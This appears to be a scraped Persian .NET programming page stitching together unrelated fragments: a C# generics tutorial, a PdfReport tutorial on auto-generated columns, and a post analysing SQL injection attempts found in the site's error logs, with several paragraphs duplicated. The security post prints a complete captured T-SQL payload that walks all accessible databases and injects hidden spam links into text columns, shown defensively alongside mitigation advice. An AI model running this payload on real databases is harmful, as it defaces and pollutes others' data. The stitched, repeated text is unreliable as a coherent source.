اشتراکها
اشتراکها
فونتهای فارسی برای وب سایت ها
اشتراکها
پروژه Open Font
برای فارسی کردن تاریخهای نسبی با این API چه راهکاری هست؟
Spell Checker فارسی هم با این امکانات وجود داره؟!
سلام
البته توی این آدرس به فارسی توضیح داده شده همون روش
طبق این معرفی ، جنریکها باعث میشوند که نوع دادهای (data type) المانهای برنامه در زمان استفاده از آنها در برنامه مشخص شوند. به عبارت دیگر، جنریک به ما اجازه میدهد کلاسها یا متدهایی بنویسیم که میتوانند با هر نوع دادهای کار کنند.
در کد بالا کلاسی تعریف شده است که میتواند بر روی آرایههایی از نوع دادهای مختلف عملیات درج و حذف را انجام دهد. برای تعریف کلاس جنریک کافی است عبارت <T> بعد از نام کلاس خود اضافه کنید، سپس همانند سایر کلاسها از این نوع داده ای در کلاس استفاده کنید. در مثال بالا یک آرایه از نوع T تعریف شده است که این نوع، در زمان استفاده مشخص خواهد شد. (یعنی در زمان استفاده از کلاس مشخص خواهد شد که چه نوع آرایه ای ایجاد میشود)
زمانی که کد بالا اجرا میشود خروجی زیر بدست میآید:
نکاتی از جنریکها:
- برای به حداکثر رسانی استفاده مجدد از کد، type safety و کارایی است.
- بیشترین استفاده مشترک از جنریکها جهت ساختن کالکشن کلاسها (collection classes) است.
- تا حد ممکن از جنریک کالکشن کلاسها (generic collection classes) جدید فضای نام System.Collections.Generic بجای کلاسهایی مانند ArrayList در فضای نام System.Collections استفاده شود.
- شما میتوانید اینترفیس جنریک ، کلاس جنریک ، متد جنریک و عامل جنریک سفارشی خودتان تهیه کنید.
- جنریک کلاسها، ممکن است در دسترسی به متدهایی با نوع دادهای خاص محدود شود.
- بوسیله reflection، میتوانید اطلاعاتی که در یک جنریک در زمان اجرا (run-time) قرار دارد بدست آورید.
انواع جنریک ها:
- کلاسهای جنریک
- اینترفیسهای جنریک
- متدهای جنریک
- عاملهای جنریک
در قسمت اول به معرفی کلاس جنریک میپردازیم.
کلاسهای جنریک
کلاس جنریک یعنی کلاسی که میتواند با چندین نوع داده کار کند برای آشنایی با این نوع کلاس به کد زیر دقت کنید:
using System; using System.Collections.Generic; namespace GenericApplication { public class MyGenericArray<T> { // تعریف یک آرایه از نوع جنریک private T[] array; public MyGenericArray(int size) { array = new T[size + 1]; } // بدست آوردن یک آیتم جنریک از آرایه جنریک public T getItem(int index) { return array[index]; } // افزودن یک آیتم جنریک به آرایه جنریک public void setItem(int index, T value) { array[index] = value; } } }
در کد زیر نحوه استفاده از کلاس جنریک نشان داده شده است، همانطور که مشاهده میکنید نوع کلاس int و char در نظر گرفته شده است (نوع کلاس، زمان استفاده از کلاس مشخص میشود) و سپس آرایه هایی از نوع int و char ایجاد شده است و 5 آیتم از نوع int و char به آرایههای هم نوع افزوده شده است.
class Tester { static void Main(string[] args) { // تعریف یک آرایه از نوع عدد صحیح MyGenericArray<int> intArray = new MyGenericArray<int>(5); // افزودن اعداد صحیح به آرایه ای از نوع عدد صحیح for (int c = 0; c < 5; c++) { intArray.setItem(c, c*5); } // بدست آوردن آیتمهای آرایه ای از نوع عدد صحیح for (int c = 0; c < 5; c++) { Console.Write(intArray.getItem(c) + " "); } Console.WriteLine(); // تعریف یک آرایه از نوع کاراکتر MyGenericArray<char> charArray = new MyGenericArray<char>(5); // افزودن کاراکترها به آرایه ای از نوع کاراکتر for (int c = 0; c < 5; c++) { charArray.setItem(c, (char)(c+97)); } // بدست آوردن آیتمهای آرایه ای از نوع کاراکتر for (int c = 0; c< 5; c++) { Console.Write(charArray.getItem(c) + " "); } Console.WriteLine(); Console.ReadKey(); } }
0 5 10 15 20 a b c d e
همانطور که در نکته انتهای قسمت قبل «کار با بانکهای اطلاعاتی مختلف در PdfReport» عنوان شد، ذکر قسمت MainTableColumns و تمام تعاریف مرتبط با آن در PdfReports اختیاری است. برای تهیه یک گزارش توسط PdfReport فقط کافی است تا منبع داده را جهت تولید ستونهای گزارش مشخص کنید.
این مورد انعطاف پذیری زیادی را به همراه خواهد داشت؛ اما ... پس از مدتی این سؤالات مطرح میشوند: آیا میشود در این ستونهای خودکار، فیلدهای DateTime، با تاریخ شمسی نمایش داده شوند؟ آیا امکانپذیر است که ستونهای عددی، جمع پایین صفحه داشته باشند؟ و مواردی از این دست که در مورد نحوه مدیریت این نوع ستونهای خودکار در ادامه بحث خواهد شد.
ابتدا سورس کامل مثال جاری را در ادامه ملاحظه خواهید کرد. تقریبا همان مثال قسمت قبل است که تعاریف ستونهای آن حذف شده است:
توضیحات:
- با توجه به اینکه تعاریف ستونها را حذف کردهایم و به این ترتیب ستونها به صورت خودکار بر اساس فیلدهای معرفی شده در منبع داده تشکیل میشوند، نیاز است سر ستونها را بتوانیم فارسی نمایش دهیم. به همین جهت اینبار کوئری SQL ما با استفاده از aliasها، نامی فارسی را جهت فیلدها تدارک دیده است:
- در مرحله بعد توسط متد MainTableAdHocColumnsConventions، یک سری روال را جهت پردازش و نمایش این ستونهای پویا مشخص میکنیم. برای مثال علاقمندیم در این نوع گزارشات هم ستون خودکار ردیف ظاهر شود:
همچنین هر ستونی که نوع دادهاش DateTime بود، از طریق فرمولی که مشخص میکنیم، به صورت شمسی نمایش داده شود:
به علاوه میخواهیم تمام ستونهایی از نوع Int64، دارای جمع پایین صفحه هم باشند:
نوع int در بانک اطلاعاتی SQLite معادل نوع Int64 در دات نت است.
این مورد انعطاف پذیری زیادی را به همراه خواهد داشت؛ اما ... پس از مدتی این سؤالات مطرح میشوند: آیا میشود در این ستونهای خودکار، فیلدهای DateTime، با تاریخ شمسی نمایش داده شوند؟ آیا امکانپذیر است که ستونهای عددی، جمع پایین صفحه داشته باشند؟ و مواردی از این دست که در مورد نحوه مدیریت این نوع ستونهای خودکار در ادامه بحث خواهد شد.
ابتدا سورس کامل مثال جاری را در ادامه ملاحظه خواهید کرد. تقریبا همان مثال قسمت قبل است که تعاریف ستونهای آن حذف شده است:
using System; using PdfRpt; using PdfRpt.Core.Contracts; using PdfRpt.Core.Helper; using PdfRpt.FluentInterface; namespace PdfReportSamples.AdHocColumns { public class AdHocColumnsPdfReport { public IPdfReportData CreatePdfReport() { return new PdfReport().DocumentPreferences(doc => { doc.RunDirection(PdfRunDirection.RightToLeft); doc.Orientation(PageOrientation.Portrait); doc.PageSize(PdfPageSize.A4); doc.DocumentMetadata(new DocumentMetadata { Author = "Vahid", Application = "PdfRpt", Keywords = "Test", Subject = "Test Rpt", Title = "Test" }); }) .DefaultFonts(fonts => { fonts.Path(AppPath.ApplicationPath + "\\fonts\\irsans.ttf", Environment.GetEnvironmentVariable("SystemRoot") + "\\fonts\\verdana.ttf"); }) .PagesFooter(footer => { footer.DefaultFooter(printDate: DateTime.Now.ToString("MM/dd/yyyy")); }) .PagesHeader(header => { header.DefaultHeader(defaultHeader => { defaultHeader.ImagePath(AppPath.ApplicationPath + "\\Images\\01.png"); defaultHeader.Message("گزارش جدید ما"); }); }) .MainTableTemplate(template => { template.BasicTemplate(BasicTemplate.SilverTemplate); }) .MainTablePreferences(table => { table.ColumnsWidthsType(TableColumnWidthType.Relative); }) .MainTableDataSource(dataSource => { dataSource.GenericDataReader( providerName: "System.Data.SQLite", connectionString: "Data Source=" + AppPath.ApplicationPath + "\\data\\blogs.sqlite", sql: @"SELECT [url] as 'آدرس', [name] as 'نام', [NumberOfPosts] as 'تعداد مطالب', [AddDate] as 'تاریخ ارسال' FROM [tblBlogs] WHERE [NumberOfPosts]>=@p1", parametersValues: new object[] { 10 } ); }) .MainTableSummarySettings(summary => { summary.OverallSummarySettings("جمع کل"); summary.PreviousPageSummarySettings("نقل از صفحه قبل"); summary.PageSummarySettings("جمع صفحه"); }) .MainTableAdHocColumnsConventions(adHocColumns => { //We want sum of the int columns adHocColumns.AddTypeAggregateFunction( typeof(Int64), new AggregateProvider(AggregateFunction.Sum) { DisplayFormatFormula = obj => obj == null ? string.Empty : string.Format("{0:n0}", obj) }); //We want to dispaly all of the dateTimes as ShamsiDateTime adHocColumns.AddTypeDisplayFormatFormula( typeof(DateTime), data => { return PersianDate.ToPersianDateTime((DateTime)data); } ); adHocColumns.ShowRowNumberColumn(true); adHocColumns.RowNumberColumnCaption("ردیف"); }) .MainTableEvents(events => { events.DataSourceIsEmpty(message: "There is no data available to display."); }) .Export(export => { export.ToExcel(); export.ToXml(); }) .Generate(data => data.AsPdfFile(AppPath.ApplicationPath + "\\Pdf\\AdHocColumnsSampleRpt.pdf")); } } }
توضیحات:
- با توجه به اینکه تعاریف ستونها را حذف کردهایم و به این ترتیب ستونها به صورت خودکار بر اساس فیلدهای معرفی شده در منبع داده تشکیل میشوند، نیاز است سر ستونها را بتوانیم فارسی نمایش دهیم. به همین جهت اینبار کوئری SQL ما با استفاده از aliasها، نامی فارسی را جهت فیلدها تدارک دیده است:
SELECT [url] as 'آدرس', [name] as 'نام', [NumberOfPosts] as 'تعداد مطالب', [AddDate] as 'تاریخ ارسال' FROM [tblBlogs] WHERE [NumberOfPosts]>=@p1
adHocColumns.ShowRowNumberColumn(true); adHocColumns.RowNumberColumnCaption("ردیف");
adHocColumns.AddTypeDisplayFormatFormula( typeof(DateTime), data => { return PersianDate.ToPersianDateTime((DateTime)data); } );
adHocColumns.AddTypeAggregateFunction( typeof(Int64), new AggregateProvider(AggregateFunction.Sum) { DisplayFormatFormula = obj => obj == null ? string.Empty : string.Format("{0:n0}", obj) });
مدتی هست در لاگهای ELMAH سایت، یک چنین تزریقهای اس کیوال ناموفقی مشاهده میشوند:
اگر اخیرا به دیتابیس شما رکوردهایی با divهای نامرئی ("div style="display:none) که داخل آنها تبلیغات یک سری سایتهای کذایی وجود دارند، اضافه شدهاند، حتما مورد حملهی SQL Injection فوق واقع شدهاید.
مواردی را که باید بررسی کنید:
الف) آیا در سایت، قسمت ثبت ارجاعات را دارید؟
قبل از اینکه HTTP Referrer را بررسی کنید، یکبار آنرا به عنوان پارامتر سازندهی new Uri قرار دهید. به این صورت این حمله دقیقا در همین مرحله، با صدور یک استثناء، به علت معتبر نبودن آدرس دریافتی متوقف میشود:
ب) آیا در سایت، نوع مرورگرهای کاربران را نیز ذخیره میکنید؟
با توجه به شکل اول، این حمله تنها زمانی مؤثر خواهد بود که از کوئریهای غیرپارامتری و یا از ORMها استفاده نمیکنید.
ج) آیا به محتوای دریافت شدهی از طریق کوئری استرینگها دقت دارید؟
این مورد نیز همانند حالت ب است.
بررسی ساختار این حمله
کوئری ارسالی (البته با حذف آدرس سایتهای کذایی آن)، یک چنین فرمتی را دارد:
در اینجا ابتدا لیست بانکهای اطلاعاتی موجود دریافت میشوند. سپس با استفاده از try/catch سعی در به روز رسانی رکوردهای جداولی که دارای فیلدهایی از نوع varchar یا nvarchar از نوع max هستند، میکند. از try/catch هم به این دلیل استفاده کردهاست که در یک سایت اشتراکی، شما فقط به بانک اطلاعاتی خودتان دسترسی دارید و البته اگر از کاربر sa استفاده میکنید که ... هم اکنون تمام بانکهای اطلاعاتی شما آلوده شدهاند!
به روز رسانی آن هم رندام است. یعنی در یک سری رکورد، بر اساس case نوشته شده، تبلیغ خواندن و در یک سری دیگر، تبلیغ داستانی را در انتهای آنها درج میکند.
اگر اخیرا به دیتابیس شما رکوردهایی با divهای نامرئی ("div style="display:none) که داخل آنها تبلیغات یک سری سایتهای کذایی وجود دارند، اضافه شدهاند، حتما مورد حملهی SQL Injection فوق واقع شدهاید.
مواردی را که باید بررسی کنید:
الف) آیا در سایت، قسمت ثبت ارجاعات را دارید؟
قبل از اینکه HTTP Referrer را بررسی کنید، یکبار آنرا به عنوان پارامتر سازندهی new Uri قرار دهید. به این صورت این حمله دقیقا در همین مرحله، با صدور یک استثناء، به علت معتبر نبودن آدرس دریافتی متوقف میشود:
ب) آیا در سایت، نوع مرورگرهای کاربران را نیز ذخیره میکنید؟
با توجه به شکل اول، این حمله تنها زمانی مؤثر خواهد بود که از کوئریهای غیرپارامتری و یا از ORMها استفاده نمیکنید.
ج) آیا به محتوای دریافت شدهی از طریق کوئری استرینگها دقت دارید؟
این مورد نیز همانند حالت ب است.
بررسی ساختار این حمله
کوئری ارسالی (البته با حذف آدرس سایتهای کذایی آن)، یک چنین فرمتی را دارد:
DECLARE @b AS CURSOR; DECLARE @s AS VARCHAR (8000); DECLARE @w AS VARCHAR (99); SET @b = CURSOR FOR SELECT DB_NAME() UNION SELECT name FROM sys.databases WHERE (has_dbaccess(name) != 0) AND name NOT IN ('master', 'tempdb', 'model', 'msdb', DB_NAME()); OPEN @b; FETCH NEXT FROM @b INTO @w; WHILE @@FETCH_STATUS = 0 BEGIN SET @s = 'begin try use ' + @w + ';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''<div style="display:none">desi adult stories <a href="http://www.site.com/">''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''stories'''' when 1 then ''''read'''' else ''''stories'''' end +''''</a> stories</div>'''' else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch'; EXECUTE (@s); FETCH NEXT FROM @b INTO @w; END CLOSE @b;
به روز رسانی آن هم رندام است. یعنی در یک سری رکورد، بر اساس case نوشته شده، تبلیغ خواندن و در یک سری دیگر، تبلیغ داستانی را در انتهای آنها درج میکند.
نظرات مطالب
خواندنیهای 9 اردیبهشت
ضمنا لطفا فارسی بنویسید. برای یک برنامه نویس خوب نیست که پینگلیش بنویسه.
اگر هم کیبورد فارسی ندارید، از نرم افزار پینگلیش به فارسی استفاده کنید:
http://www.pinglish.org/
اگر هم کیبورد فارسی ندارید، از نرم افزار پینگلیش به فارسی استفاده کنید:
http://www.pinglish.org/